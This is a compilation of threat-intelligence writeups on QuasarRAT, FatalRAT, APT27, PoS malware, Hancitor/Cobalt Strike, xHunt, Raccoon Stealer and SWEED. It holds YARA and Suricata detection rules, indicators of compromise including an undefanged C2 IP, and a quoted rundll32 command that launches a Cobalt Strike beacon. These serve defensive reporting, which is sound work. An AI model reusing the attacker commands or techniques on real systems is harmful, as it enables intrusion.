| FuckYouAnti | DLL Export |
| 195.54.163.74 | C2 IP |
| 9s1IUBvnvFDb76ggOFFmnhIK | Mutex |
| ERveMB6XRx2pmYdoKjMnoN1f | Mutex |
| ABCDEFGHIGKLMNOPQRSTUVWXYZ | Mutex |
| AntiLib\injectcode.cpp | PDB path |
| AntiLib\enableDebugPriv.cpp | PDB path |
| C:\ods.log | Filename |
## YARA
The following YARA rule can be used to identify QuasarRAT loaders:
```yara
import "pe"
rule QuasarRAT_Loader {
meta:
description = "MenuPass/APT10 QuasarRAT Loader"
strings:
$rdata1 = " !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~" ascii
$rdata2 = "CONOUT$" wide
condition:
uint16(0) == 0x5a4d and
filesize < 600KB and
pe.characteristics & pe.DLL and
pe.section_index(".text") == 0 and
pe.section_index(".rdata") == 1 and
pe.section_index(".data") == 2 and
pe.section_index(".pdata") == 3 and
pe.section_index(".rsrc") == 4 and
pe.section_index(".reloc") == 5 and
pe.exports("ServiceMain") and
not pe.exports("WUServiceMain") and
pe.imports("advapi32.dll", "RegisterServiceCtrlHandlerW") and
for all of ($rdata*) : ($ in (pe.sections[pe.section_index(".rdata")].raw_data_offset..pe.sections[pe.section_index(".rdata")].raw_data_offset+pe.sections[pe.section_index(".rdata")].raw_data_size))
}
```
The following YARA rule can be useful for detecting possible high-entropy payloads stored within the %WINDOWS%\Microsoft.NET\Framework folder (these files typically have a double file extension):
```yara
import "pe"
import "math"
rule Possible_QuasarRAT_Payload {
meta:
description = "Possible encrypted QuasarRAT payload"
condition:
uint16(0) != 0x5A4D and
uint16(0) != 0x5449 and
uint16(0) != 0x4947 and
math.entropy(0, filesize) > 7.5
}
``` |
# New Sophisticated RAT in Town: FatalRat Analysis
**AT&T Cybersecurity**
**August 2, 2021**
**By Ofer Caspi and Javi Ruiz**
## Summary
AT&T Alien Labs™ has recently observed the presence of a new remote access trojan (RAT) malware in its threat analysis systems. The malware, known as FatalRAT, appears to be distributed via forums and Telegram channels, hidden in download links that attempt to lure the user via software or media articles.
### Key Takeaways
- AT&T Alien Labs performed a malware analysis of the FatalRAT threat.
- A new spreading mechanism via Telegram channels has been observed.
- Analyzed samples are capable of performing defense evasion techniques, obtaining system persistence, logging user keystrokes, collecting system information, and exfiltrating over an encrypted command and control (C&C) channel.
## Analysis
FatalRAT is a remote access trojan with a wide set of capabilities that can be executed remotely by an attacker. The malware runs several tests before fully infecting a system, checking the existence of multiple virtual machine products, disk space, number of physical processors, and more.
One of the tests run by FatalRAT involves checking for the existence of virtual machine services. Another includes querying the registry.
If the machine passes the malware AntiVM tests, FatalRAT will then start its malicious activity. First, it decrypts each of the configuration strings separately. These configuration strings include the Command and Control (C&C) address, new malware file name, service name, and other settings.
The malware will disable the ability to lock the computer by using CTRL+ALT+DELETE. For this purpose, the registry key `DisableLockWorkstation` is set to “1.” After the computer lockdown is disabled, the malware activates a keylogger.
FatalRAT can persist either by modifying the registry or by creating a new service. If persistence is done by modifying the registry, it will create the value `Software\Microsoft\Windows\CurrentVersion\Run\SVP7` to execute the malware at boot time. When using the service for persistence, FatalRAT will retrieve the description from its configuration.
The malware collects information from an infected machine and sends it to the C&C. This includes external IP address, username, and other information about the victim. Additionally, as a defense evasion technique, FatalRAT identifies all security products running on the machine by iterating through all running processes and searching for the existence of a predefined list of security products.
Furthermore, to make it easier for the attacker to detect which security products are installed, it will convert the process name to a product name before sending the list to the C&C.
To communicate back to the C&C, the malware uses an arithmetic routine to encrypt the data sent between the victim and the attacker. This encryption includes a one-byte XOR key and the addition of a constant to the obtained value. The encrypted message is then sent to the C&C through port 8081.
The malware then waits for the attacker’s commands, of which it supports a wide range. For example, it has several routines to handle different browsers. Some of these routines include deleting user info for specific browsers. For Chrome, it will query for user info and then delete the content. Deleting saved information will force the user to input, for example, user and password, which the malware can capture with its keylogger.
Some of the commands FatalRAT supports include:
- Keylogger
- Change resolution
- Uninstall UltraViewer
- Download and install AnyDesk
- Execute shell commands
- Modify registry keys
- Download and execute a file
## Recommended Actions
1. Do not click links or install software from unknown sources.
2. Install an antivirus and keep your system updated.
3. Always use an endpoint detection and response (EDR) solution or enable system log monitoring to allow SIEM correlation.
4. Monitor network traffic to command and control (C&C) patterns.
## Conclusion
The newly identified FatalRAT malware has been using techniques like obfuscation, anti-sandbox and antivirus evasion, encrypted configurations, logging user keystrokes, system persistence, login brute force, collection of system data, and encrypted communications with the command and control server. Alien Labs has discovered multiple samples in the past few months, with a slight dip in July. However, we expect to continue to see the presence of FatalRAT and its variants in our samples in the near future. AT&T Alien Labs will continue to monitor this threat and update intelligence as activity emerges.
## Detection Methods
The following associated detection methods are in use by Alien Labs. They can be used by readers to tune or deploy detections in their own environments or for aiding additional research.
### Suricata IDS Signatures
```
alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"AV TROJAN FatalRAT CnC Request"; flow:established,to_server; dsize:300<>500; content:"|BF BC 95|"; startswith; content:"|8D 8E 8E 5E 90 8E 8E 2C 1B 80 8E E6 02 A7 6D FC C6 00 06 4F 0E 97|"; distance:1; within:22; threshold:type limit, count 1, seconds 3600, track by_src; reference:md5,99fc53d3d4c2c31fd5b5f0f15dbdeab4; classtype:trojan-activity; sid:4002633; rev:1;)
```
### YARA Rules
```
rule FatalRAT_unpacked {
meta:
author = "AT&T Alien Labs"
sha256 = "ec0dcfe2d8380a4bafadb3ed73b546cbf73ef78f893e32202042a5818b67ce56"
type = "malware"
description = "Detects FatalRAT, unpacked malware."
copyright = "Alienvault Inc. 2021"
strings:
$decrypt_func = {EC 0F B6 45 10 99 B9 AB 05 00 00 56 F7 F9 8B 75 0C 80 C2 3D 85 F6 76 0F 8B 45 08 8A 08 32 CA 02 CA 88 08 40 4E 75 F4 5E 5D C3}
$s1 = "SVP7-Thread running..."
$s2 = "nw_elf.dll"
condition:
uint16(0) == 0x5a4d and all of them
}
```
## Associated Indicators of Compromise (IOCs)
The following technical indicators are associated with the reported intelligence:
- SHA256: e52af19dce25d51f9cf258613988b8edc583f7c7e134d3e1b834d9aab9c7c4c4
- SHA256: dc026cd76891d1f84f44f6789ac0145a458e2c704a7bc50590ec08966578edb3
- SHA256: cb450f82c49eadd597a87645f9f30c52c03c6ed9425386af5b321664fe3a6da0
- SHA256: 210990e36122e0facc7c74373569f052fa0651ab06644330fe00b685793ee0fd
- SHA256: 34f37327a0154d644854a723e0557c733931e2366a19bdb4cfe6f6ae6770c50f
- SHA256: ec0dcfe2d8380a4bafadb3ed73b546cbf73ef78f893e32202042a5818b67ce56
- SHA256: b01719e59675236df1a0e1a78cdd97455c0cf18426c7ec0f52df1f3a78209f65
- SHA256: 72cd668d9bc442f522556807390d4f7e32966bef20ef1a831bf36a5ab213191e
- SHA256: 1cabdb7ab1cbd0526498d15839c780850a41a8c917b65581fad9e7dbdedd5e0f
- SHA256: 5453911d6f597d65ab542ec25723a7d87b2292c2e2a52a40d3a32032f6117acd
- SHA256: 826d07108a1223140e6a58b44722404009ac2e82df0acfd7d1f5bf29b56526b6
- SHA256: 337841b5ade52ba853a30eb8ab04dede64d89808893fb6e0412247950295152
- SHA256: 17075832426b085743c2ba811690b525cf8d486da127edc030f28bb3e10e0734
- IP Address: 103.119.44[.]152
- IP Address: 103.119.44[.]93
- IP Address: 103.119.44[.]100
## Mapped to MITRE ATT&CK
The findings of this report are mapped to the following MITRE ATT&CK Matrix techniques:
- TA0001: Initial Access
- T1566: Phishing
- T1566.002: Spearphishing Link
- TA0005: Defense Evasion
- T1027: Obfuscated Files or Information
- T1027.002: Software Packing
- T1497: Virtualization/Sandbox Evasion
- T1497.001: System Checks
- T1112: Modify Registry
- T1562: Impair Defenses
- T1562.001: Impair Defenses: Disable or Modify Tools
- TA0002: Execution
- T1569: System Services
- T1569.002: Service Execution
- TA0009: Collection
- T1056: Input Capture
- T1056.001: Keylogging
- T1119: Automated Collection
- TA0010: Exfiltration
- T1020: Automated Exfiltration
- TA0011: Command and Control
- T1573: Encrypted Channel
- T1573.001: Encrypted Channel: Symmetric Cryptography
**Tags:** malware, yara, alien labs, otx, otx pulse, brute force attack, remote access trojan, fatalrat, weak passwords |
# German Govt Warns of APT27 Hackers Backdooring Business Networks
The BfV German domestic intelligence services (short for Bundesamt für Verfassungsschutz) warn of ongoing attacks coordinated by the APT27 Chinese-backed hacking group. This active campaign is targeting German commercial organizations, with the attackers using the HyperBro remote access trojan (RAT) to backdoor their networks. HyperBro helps the threat actors maintain persistence on the victims' networks by acting as an in-memory backdoor with remote administration capabilities. The agency said the threat group's goal is to steal sensitive information and may also attempt to target their victims' customers in supply chain attacks.
"The Federal Office for the Protection of the Constitution (BfV) has information about an ongoing cyber espionage campaign by the cyber attack group APT27 using the malware variant HyperBro against German commercial companies," the BfV said. "It cannot be ruled out that the actors, in addition to stealing business secrets and intellectual property, also try to infiltrate the networks of (corporate) customers or service providers (supply chain attack)."
The BfV also published indicators of compromise (IOCs) and YARA rules to help targeted German organizations check for HyperBro infections and connections to APT27 command-and-control (C2) servers.
## Breaching Networks via Zoho and Exchange Servers
APT27 (also tracked as TG-3390, Emissary Panda, BRONZE UNION, Iron Tiger, and LuckyMouse) is a Chinese-sponsored threat group active since at least 2010 and known for its focus on information theft and cyberespionage campaigns. The German intelligence agency says APT27 has been exploiting flaws in Zoho AdSelf Service Plus software, an enterprise password management solution for Active Directory and cloud apps, since March 2021. This aligns with previous reports of Zoho ManageEngine installations being the target of multiple campaigns in 2021, coordinated by nation-state hackers using tactics and tooling similar to those employed by APT27.
They first used an ADSelfService zero-day exploit until mid-September, then switched to an n-day AdSelfService exploit, and started exploiting a ServiceDesk bug beginning with October 25. In these attacks, they successfully compromised at least nine organizations from critical sectors worldwide, including defense, healthcare, energy, technology, and education, according to Palo Alto Networks researchers.
In light of these campaigns, the FBI and CISA issued joint advisories warning of APT actors exploiting ManageEngine flaws to drop web shells on the networks of breached critical infrastructure organizations. APT27 and other Chinese-backed hacking groups were also linked to attacks exploiting critical ProxyLogon bugs in early March 2021 that allowed them to take over and steal data from unpatched Microsoft Exchange servers worldwide. The US and allies (the European Union, the United Kingdom, and NATO) officially blamed China in June for last year's widespread Microsoft Exchange hacking campaign. |
# The Evolution of Point-of-Sale (PoS) Malware
In 2014, we saw several data breach incidents where Point of Sale (PoS) malware was used to hit organizations, institutions, and users. Since the bad guys naturally go where the money is, it's easy to see why cybercriminals target PoS terminals, given that they know the different places where credit cards are routinely used. As we have observed multiple PoS malware families, it is important to learn that personal and sensitive information stolen from credit and debit cards can be used to impersonate unsuspecting customers. This could result in fraudulent purchases, financial loss, and damaged credit standing.
PoS malware has evolved rapidly over the past few years, targeting mostly big retail companies from which they could obtain large chunks of data as opposed to individual sources.
## PoS Systems and Evolving Threats
A PoS device is designed to complete transactions as it calculates the amount of purchases made by a customer, as well as provide other operational information such as inventory management, accounting, and tracking sales. PoS systems require a connection to a network to validate payments by sellers. Small businesses may use a cellular data connection, while bigger companies employ internal networks. Most PoS devices run on Windows and UNIX operating systems, making them easy to operate, maintain, and develop software for devices. However, this also means that malware could easily be developed to infect these systems.
In the past, criminals devised physical skimmers to rub payment cards and steal data. This required the bad guys to be physically close to the PoS terminal and thus risked being found out. Today, cybercriminals resort to using malware for stealing data primarily from credit cards, and the malware used has continually evolved. They have branched out into various malware families that target PoS devices. The stolen data is either used for illegal purchases or traded in underground markets.
## How PoS Malware Works
The payment card industry complies with a set of security standards that enforce end-to-end encryption of sensitive payment data captured from payment cards during transactions. However, the data that can be found inside the PoS device memory could be stored in an unencrypted form. Typical PoS RAM scraper malware captures the payment card information directly from the memory, where it scrapes customer data and information.
While they all typically share a similar end-goal, the different PoS malware types are designed to do the deed in different ways. Here are some of the notable PoS malware types we have reported on in the past few months:
- **Backoff** – a successor of Alina (aka Track) whose variants are known for scanning all running processes to retrieve card track data and gather affected system information. Backoff uses the same installation technique used in the Alina family of PoS RAM-scraping malware. Based on our research, Backoff implements an updated data search function and drops a watchdog process to ensure that it continuously runs in the system. Discovered by the US Computer Emergency Readiness Team (US CERT), this PoS malware targeted the US. Interestingly, we saw a clear decrease of hits during “dead hours” specifically at 2:00 AM, and an apparent recurring rise of hits at 10:00 AM. This trend follows regular business operation hours wherein PoS devices are more likely to be active and in use. Generally, the hits increase during business hours and decline during off-hours.
- **BlackPoS version 2.0** – this PoS malware clones the exfiltration technique that the BlackPoS variant used to compromise US retailer Target. BlackPoS version 2.0 pretends to be an antivirus product installed on a system to avoid user suspicion. Our researchers in Trend Micro found that the source code of the original BlackPoS was leaked, enabling other cybercriminals to enhance its code. According to our findings, this malware appears to have been used in the massive data breach that targeted Home Depot.
In 2014 alone, PoS malware was used to hit several large retail companies in the US. In the wake of these attacks, we also recently found a new PoS malware that emerged in time for the holiday shopping weekend. Called GetMyPass, this new PoS malware is dependent on its configuration file, which means that it was designed to be flexible. Based on other PoS malware routines we analyzed, GetMyPass appears to be designed as a multicomponent malware similar to an earlier BlackPoS variant. We continue to monitor this malware as it develops.
## Additional Resources: Defending Against PoS Malware
PoS malware attacks continue to be prevalent, as shown by new malware families that have been recently discovered. As such, we have brought together some recommendations for both companies and their customers to protect against such attacks.
Since most attacks target mostly retail and hospitality industries, it is critical for merchants to take these preventive measures:
- Secure PoS devices and networks
- Comply with Payment Card Industry (PCI) security guidelines
- Strengthen anti-malware security
- Deploy patches accordingly
Customers must also take some steps to ensure that their accounts are not at risk:
- Check your bank and credit statements. Reviewing transactions on a regular basis can help you monitor and spot fraudulent transactions made on your card.
- Make sure all operating systems across all devices are up-to-date.
- Install security software on devices used for online transactions. |
# Hancitor Continues to Push Cobalt Strike
First observed in 2014, Hancitor (also known as Chanitor and Tordal) is a downloader trojan that has been used to deliver multiple different malware such as Pony, Vawtrak, and DELoader.
## Case Summary
In this short intrusion, the threat actor gained initial access on a system through a maldoc campaign which made use of the Hancitor downloader. The first-stage DLL, which was dropped by a malicious Word document, attempted to download multiple malware payloads on the beachhead system, including Ficker Stealer. In addition, a Cobalt Strike beacon payload was downloaded and deployed to perform post-exploitation activities. Once inside the target environment, port scans and a large amount of ICMP traffic was observed to identify additional active systems. After about 20 minutes, the threat actor copied a batch script file and DLL file to another system using the SMB protocol. A remote service was installed to start the batch file, which executed the Cobalt Strike shellcode-embedded DLL. On the second compromised system, various discovery-related commands were executed before going silent. The threat actors were evicted before completing their mission.
## Services
We offer multiple services including a Threat Feed service which tracks Command and Control frameworks such as Cobalt Strike, Metasploit, Empire, PoshC2, etc. More information on this service and others can be found here. One of the Cobalt Strike servers used in this intrusion was known about as far back as February and the other 2 were added to our Threat Feed on 5/20/21. We also have artifacts available from this case such as pcaps, memory captures, files, Kape packages, and more, under our Security Researcher and Organization services.
## Timeline
Analysis and reporting completed by @pigerlin and @v3t0_
Reviewed by @_pete_0
### MITRE ATT&CK v9
**Initial Access**
The Hancitor malware was embedded in a macro-based Word document. This single-paged document contained a picture with instructions, attempting to lure the victim into enabling macros. When the macro was enabled, the infection chain started, and the first-stage Hancitor DLL was dropped to disk. Reviewing the macro we can see that in sub yyy (towards the bottom) content within the document is being copied and used to create a file object by sub xxx which then is executed by the shell call to rundll32.
**Execution**
The malicious Hancitor DLL in the OLE object, named “rem.r”, was executed via rundll32.exe by passing the entry point “ESLMJYVFM”. The botnet ID and C2 were extracted using Hatching Triage. Later on in the intrusion, the threat actor used the following command to execute a Cobalt Strike Beacon on another machine:
`rundll32.exe c:\programdata\95.dll,TstSec 11985756`
**Defense Evasion**
On the beachhead system, the malicious Hancitor DLL injected into the svchost.exe process. The code was injected into multiple instances of svchost.exe. Memory analysis also shows suspicious memory protections (page_execute_readwrite) and regions of the particular process. Finally, when looking at the process tree, we can identify the unusual parent-child process relationship of rundll32.exe starting svchost.exe. The svchost.exe process, in turn, injected a Cobalt Strike beacon into multiple rundll32.exe instances. One of the injected rundll32.exe instances was also observed connecting to the Cobalt Strike C2 server. In addition, the malicious 95.dll, which was observed during the lateral movement phase, is also designed to evade automated sandbox analysis. This DLL is crafted in such a way that it wouldn’t show malicious behavior if an exported function is not called by passing a specific parameter. The DLL contains the Cobalt Strike shellcode and will only execute if the “11985756” parameter is passed to the TstSec function. After extracting the Cobalt Strike shellcode from 95.dll and emulating it via scdbg, we found that it’s connecting to 162.244.83[.]95 over port 8080. Since 95.dll was executed by rundll32.exe, and from the host logs, it is evident that rundll32.exe connected to 162.244.83[.]95 over port 8080. Packet analysis to the IP address mentioned above shows that it’s downloading the Cobalt Strike beacon by initiating a HTTP GET request to /hVVH URI. Once downloaded, the stager allocates a new memory region inside the current rundll32.exe process and loads it into the memory and starts the C2 activity.
**Discovery**
On the beachhead system, the threat actor started exploring their options to move laterally within the target network. The logged-on user account was utilized to interact with IPC$ shares. For one specific system, for which the threat actor showed interest, the contents of the C$ share was listed to verify if the account had access permissions to the share before copying the malware to it. The threat actor also pinged one of the Active Directory domain controllers from the beachhead machine. A high amount of ICMP traffic, targeting various Class-A subnet ranges, was observed and used to identify other active systems within the environment. On the second system, to which the adversary laterally moved, the following discovery commands were executed:
`nltest /domain_trusts`
`net view /domain`
`net time`
**Lateral Movement**
The injected svchost process dropped two files: a batch-file named: “95.bat” and a DLL-file named: “95.dll”. Both files were copied to the ProgramData folder of another system within the environment. The content of the batch file can be seen below—it executes the transferred DLL and then deletes itself. To execute the batch file, the threat actor installed and started a remote service on the other system.
**Credential Access**
An attempt to open lsass.exe process was observed on the system where lateral movement occurred but there were no signs of successful read attempts.
**Command and Control**
In the network traffic, we can identify a data stream pattern that is distinctive to Hancitor malware. First, the malware performed a lookup of the external IP address of the infected system. This was followed by Hancitor C2 traffic, sent via HTTP POST requests, which included unique attributes of the infected system, such as hostname and username information. Hancitor then attempted to download additional malware. This included the info-stealer known as “Ficker Stealer”, for which the DNS traffic corresponds to a recent article posted by Brad. However, in our case, the post-infection HTTP traffic of Ficker Stealer was not observed. Hancitor also attempted to download Cobalt Strike stagers (.bin files), and Cobalt Strike traffic was sent both encrypted and unencrypted.
## IOC’s
**Files**
- 95.dll
- 95.bat
- rem.r
- 0520_656407893761.doc
**Network**
- tembovewinated[.]ru
- prournauseent[.]ru
- sweyblidian[.]com
- vaethemanic[.]com
- 216.250.248[.]88
- 162.244.83[.]95
- 80.209.242[.]9
**Detections**
- Suricata
- Snort
- Sigma
- YARA
**Impact**
In this intrusion, we did not see a final action on objectives. |
# xHunt Campaign: xHunt Actor’s Cheat Sheet
**By Robert Falcone**
**December 5, 2019**
**Category:** Malware, Unit 42
**Tags:** Credential Harvesting, Sakabota, xHunt
## Executive Summary
Unit 42 has been researching the xHunt attack campaign on Kuwait organizations for several months. Recently, we found evidence that the developers who created the Sakabota tool had carried out two sets of testing activities in July and August 2018 on Sakabota in an attempt to evade detection. These activities involved compiling several variations of the tool with slight changes made to the code base, each submitted to online antivirus scanning services to determine the vendors that detect their tool. The name Sakabota appears to reference a sword named Sakabato in an anime called “Rurouni Kenshin,” fitting the anime-themed tool names seen in the 2019 xHunt campaign.
While analyzing the Sakabota samples created by the developer, we found a cheat sheet included within the tool, which we suspect was meant to help the operator carry out activities on the compromised system and network. This is the first time we’ve seen a malware developer include a cheat sheet of example commands to assist the operator. The commands provide insight into the techniques the actors will use after compromising a system, as well as the tools used to achieve their objectives. The commands suggest that the threat group heavily relies on RDP to interact with compromised hosts, likely using secure shell (SSH) tunnels created with the Plink tool. The command examples show the threat group seeks to move across an infiltrated network to target additional devices, making it a greater threat to organizations once infected.
## Testing Sakabota
While gathering Sakabota samples during our xHunt research, we came across several samples compiled between July and August 2018. The first round of testing occurred on July 21 and 23, 2018, while the second round occurred on August 6 and 7, 2018. Both rounds included iterations where the developer made slight changes to the codebase or used different obfuscation tools to see how these changes affected the detection rate of the Sakabota tool.
The first round of testing started with version 1.4.0.0 and resulted in version 1.5.0.0. The second round started with version 1.5.0.0 and resulted in version 1.6.0.0. The developer tested several different crypters and obfuscators, including “Confuser,” “ConfuserEx,” “CodeVeil,” and two versions of “.NET Reactor.” Ultimately, the developer determined that one of the “.NET Reactor” versions resulted in the lowest detection rate, prompting continued use of this version for the remainder of the testing activities.
## Sakabota Cheat Sheet
During our analysis, the oldest known sample had an embedded resource named ‘k’. This resource contained text that appeared to be usage instructions for the tool, but upon further inspection, it is a cheat sheet for operators using Sakabota to perform various activities once they have access to the targeted system and network. The cheat sheet provided unprecedented insight into the tools and techniques the actor uses once they gain access to the compromised system.
The cheat sheet is separated into several sections based on the purpose of the example commands. The commands listed provide insight into some of the tools and techniques the actors will possibly use after compromising the end system. The cheat sheet shows significant batch and PowerShell scripting and a preference for using RDP, as well as tools not provided natively in Windows (e.g., thc-hydra, Plink, Mimikatz, Powercat, ProcDump, SharpHound/BloodHound, and PowerSploit).
### Sections within Sakabota’s Cheat Sheet
| Section | Description |
|------------------|-------------|
| **Hydra** | Example command to run the thc-hydra tool to brute force an RDP login on a single IP address using text files with username and password combinations. |
| **Pass The Hash**| Examples of arguments needed to pass-the-hash to run a command on a remote system using Mimikatz. |
| **WMIC with Bat**| Example WMIC command to run a batch script using supplied username and password. |
| **Plink** | Example command-line commands to use Plink to create an SSH tunnel between a remote system and the local system for RDP access. |
| **LSASS Process**| Example commands using ProcDump, Mimikatz, and PowerSploit to dump the 'lsass.exe' process memory. |
| **WDigest** | Command line commands to query and modify the WDigest registry key to store credentials in memory. |
| **Powercat** | Example commands for both client and server to create a remote shell and transfer files using Powercat. |
| **Ntds** | Example commands to save the SAM registry hive using the 'reg' application and Mimikatz's 'lsadump::sam' command. |
| **taskch** | Example commands to delete, create, and run scheduled tasks. |
| **Download from CMD**| PowerShell command to download a file. |
| **FTP** | PowerShell command to upload a file using FTP. |
| **FireWall** | Example commands to add, delete, and show rules from the local Windows Firewall. |
| **RDP NLA** | PowerShell command that disables Network Level Authentication for RDP. |
| **RDP Port** | Example commands to query and add values to keys in the registry to enable RDP sessions. |
| **WinRAR** | Command line commands to recursively archive folders. |
| **DB** | SQL queries related to navigating an unknown database. |
| **Get Users** | Commands to gather user information from a specified remote system or domain. |
| **Scan For** | Commands to scan a local subnet for systems responding to ping requests. |
| **Route** | This section was blank. |
| **Print Scripting**| Scripts for pinging locations and checking responses. |
| **Base 64** | Commands to convert files to and from Base64. |
| **Pantest** | Google search operators for finding web servers of interest and examples of SQL injection techniques. |
The cheat sheet also included the following domain and IP addresses of interest associated with the threat actor’s infrastructure:
- pasta58[.]com
- 176.9.235[.]101
- 213.202.217[.]31
## Conclusion
While researching the tools associated with the xHunt campaign, we discovered testing activities carried out by a developer associated with this attack campaign. During this testing activity, we found a sample of Sakabota that contained a cheat sheet for operators, providing significant insight into the tools, tactics, and techniques likely associated with these threat actors. This cheat sheet gave us unprecedented insight into the tools and commands they would likely execute on the system, along with references to network locations within their infrastructure. |
# Raccoon Stealer Malware Suspends Operations Due to War in Ukraine
The cybercrime group behind the development of the Raccoon Stealer password-stealing malware has suspended its operation after claiming that one of its developers died in the invasion of Ukraine.
Raccoon Stealer is an information-stealing trojan distributed under the MaaS (malware-as-a-service) model for $75/week or $200/month. Threat actors who subscribe to the operation will get access to an admin panel that lets them customize the malware, retrieve stolen data (aka logs), and create new malware builds. The malware is very popular among threat actors as it can steal a wide variety of information from infected devices, including stored browser credentials, browser information, cryptocurrency wallets, credit cards, email data, and other data from numerous applications.
## Raccoon Stealer Operation Suspended
As first spotted by security researcher 3xp0rt, the threat actors behind the Raccoon Stealer posted today to Russian-speaking hacking forums that they are suspending their operation after one of their core developers was killed in the invasion of Ukraine.
> "Dear Clients, unfortunately, due to the 'special operation', we will have to close our project Raccoon Stealer. The members of our team who are responsible for critical moments in the operation of the product are no longer with us. We are disappointed to close our project, further stable operation of the stealer is physically impossible."
However, it does not appear that they will be gone forever, as they state that they plan to rebuild the lost components and relaunch in a few months. With the closure of Raccoon Stealer, 3xp0rt told BleepingComputer that threat actors are now moving to the Mars Stealer operation, which offers a similar service as Raccoon. According to a post on the Russian-speaking XSS hacking forum, the 'MarsTeam' has been overwhelmed with requests since Raccoon announced they are shutting down, making it difficult to respond to everyone.
## Threat Actors Switching to Mars Stealer
3xp0rt says that we should expect a surge of Mars Stealer campaigns shortly, as threat actors move to the service, which operates similarly to Raccoon.
## Ukraine Has an Active Cybercrime Community
The invasion of Ukraine has had a significant impact on cybercrime and the hacking underground, with many threat actors residing in the country and publicly taking sides in the war. A representative of the now-defunct Maze ransomware operation recently released the master decryption keys for past victims on BleepingComputer's forums. In a conversation with the Maze representative who leaked the keys, BleepingComputer was also told that he is Ukrainian and was arrested by the Ukrainian police. The recent 'Conti Leaks' of internal chats, source code, and the doxing of TrickBot and Conti ransomware members was directly caused by the criminal operations taking sides with Russia and upsetting Ukrainian threat actors and researchers. Law enforcement has also been very active over the past year, arresting numerous threat actors residing in Ukraine. |
# Detailed Analysis Of Sykipot (Smartcard Proxy Variant)
Megan Roddie
On January 2012, AlienVault reported a Sykipot variant with smartcard access capability that has drawn high attention in the security industry. The internals of this malware sample, such as flow of the malware, backdoor capabilities, tricks and techniques, and encryption algorithm are described in...
By Rong Hwa Chong
April 16, 2012
All papers are copyrighted. No re-posting of papers is permitted. |
# SWEED: Exposing Years of Agent Tesla Campaigns
By Edmund Brumaghin and other Cisco Talos researchers.
## Executive Summary
Cisco Talos recently identified a large number of ongoing malware distribution campaigns linked to a threat actor we're calling "SWEED," including notable malware such as Formbook, Lokibot, and Agent Tesla. Based on our research, SWEED — which has been operating since at least 2017 — primarily targets their victims with stealers and remote access trojans.
SWEED remains consistent across most of their campaigns in their use of spear-phishing emails with malicious attachments. While these campaigns have featured various types of malicious documents, the actor primarily tries to infect its victims with a packed version of Agent Tesla — an information stealer that's been around since at least 2014. The version of Agent Tesla that SWEED is using differs slightly from what we've seen in the past in the way that it is packed, as well as how it infects the system. In this post, we'll run down each campaign we're able to connect to SWEED and discuss some of the actor's tactics, techniques, and procedures (TTPs).
## 2017: Steganography
One of the earliest SWEED campaigns Talos identified dates back to 2017. In this attack, the actors placed droppers inside ZIP archives and then attached those ZIPs to emails. The attachments usually had file names similar to "Java_Updater.zip" or "P-O of Jun2017.zip". The attached ZIP archive contained a packed version of Agent Tesla. The packer uses .NET and leverages steganography to hide and decode a second .NET executable, which uses the same technique to retrieve the final Agent Tesla payload.
## January 2018: Java Droppers
In early 2018, we observed that SWEED began leveraging Java-based droppers. Similar to previous campaigns, the JAR was directly attached to emails and used file names such as "Order_2018.jar". The purpose of the JAR was to obtain information about the infected system and facilitate the download of a packed version of Agent Tesla.
## April 2018: Office Exploit (CVE-2017-8759)
In April 2018, SWEED began making use of a previously disclosed Office exploit. One of the documents featured in these email campaigns was notable because it was a PowerPoint document (PPXS). Code contained inside one of the slides triggers an exploit for CVE-2017-8759, a remote code execution vulnerability in Microsoft .NET framework. The purpose of this code is to decode a URL and download a PE32 hosted on an attacker-controlled web server. The resulting executable is a packed version of Agent Tesla.
## May 2018: Office Exploit (CVE-2017-11882)
In May 2018, campaigns being conducted by SWEED began leveraging another vulnerability in Microsoft Office: CVE-2017-11882, a remote code execution bug in Microsoft Office that is commonly observed in malicious documents used in commodity malware distribution. The malicious document is designed to appear as if it is an invoice. As consistent with previous campaigns, the purpose of this malicious document is to download and execute a packed version of Agent Tesla.
## 2019: Office Macros and AutoIT Droppers
Beginning in 2019, the campaigns associated with SWEED began leveraging malicious Office macros. As with previous attacks, they are leveraging spear-phishing emails and malicious attachments to initiate the infection process. The attached XLS contains an obfuscated VBA macro, which executes a PowerShell script using a WMI call. The PowerShell script is also obfuscated using XOR operations to hide its code. Once decoded, it reveals itself to be .NET. This .NET code is responsible for performing some checks and downloading another executable file. The downloaded binary is an AutoIT-compiled script, which has a lot of junk code designed to make the analysis more difficult and time-consuming.
## UAC Bypass
One of the common characteristics with several of the campaigns associated with SWEED is the use of various techniques to bypass User Account Control (UAC) on infected systems. When the malware is first executed on systems, it executes "fodhelper.exe", which is a Windows process running as high integrity. Prior to executing it, the malware sets a registry key that points to the location of the malicious executable. This functionality allows for the malware to bypass UAC and is not a privilege escalation vulnerability — the user must already have administrative access rights on the system.
## SWEED Infrastructure
The various distribution campaigns linked to SWEED feature a limited amount of distribution and C2 infrastructure with the same servers used across many different campaigns over long periods of time. The majority of the registrants associated with the domains used by SWEED list the following email addresses:
- [email protected]
- sweed.[redacted]@gmail.com
In April 2018, a security researcher published a screenshot of an RDP server believed to have been actively leveraged by SWEED. The list of user accounts established on the RDP server includes an account named "sweed." This indicates that this server is being used in a multi-user capacity and provides a platform on which members of SWEED can function collaboratively.
## Use of Typosquatting
Another interesting element of many of the campaigns associated with SWEED is the use of typosquatting for the domains used to host the packed Agent Tesla binaries that have been distributed over the past few years.
## Victims' Geographic Dispersion
Looking at the victimology from a country point of view, it is clear that there is no geographic focus when choosing their targets. SWEED targets companies all over the world. The breakdown by activity shows a clear tendency for manufacturing and logistics companies.
## Operational Security (OPSEC)
We identified various behaviors on hacking forums, IRC channels, and other websites that appeared consistent with the TTPs we observed with the actor distributing this malware. During our analysis, we identified a user on HackForums using the moniker "SWEE D." In the months leading up to the January 2018 campaigns, we observed this user posting asking for access to a Java crypter.
## Conclusion
SWEED has been active for at least three years — and a user with that name has been active on various forums, IRC channels, and Discord servers since at least 2015. Currently, SWEED is actively targeting small and medium-sized companies around the world. Based on the TTPs used by this group, SWEED should be considered a relatively amateur actor. They use well-known vulnerabilities, commodity stealers, and RATs and appear to rely on kits readily available on hacking forums. We expect SWEED to continue to operate for the foreseeable future and will continue to monitor their activities to ensure that customers remain protected.
## Indicators of Compromise (IOCs)
The following IOCs have been observed as being associated with malware campaigns conducted by this group.
**Campaign #1**
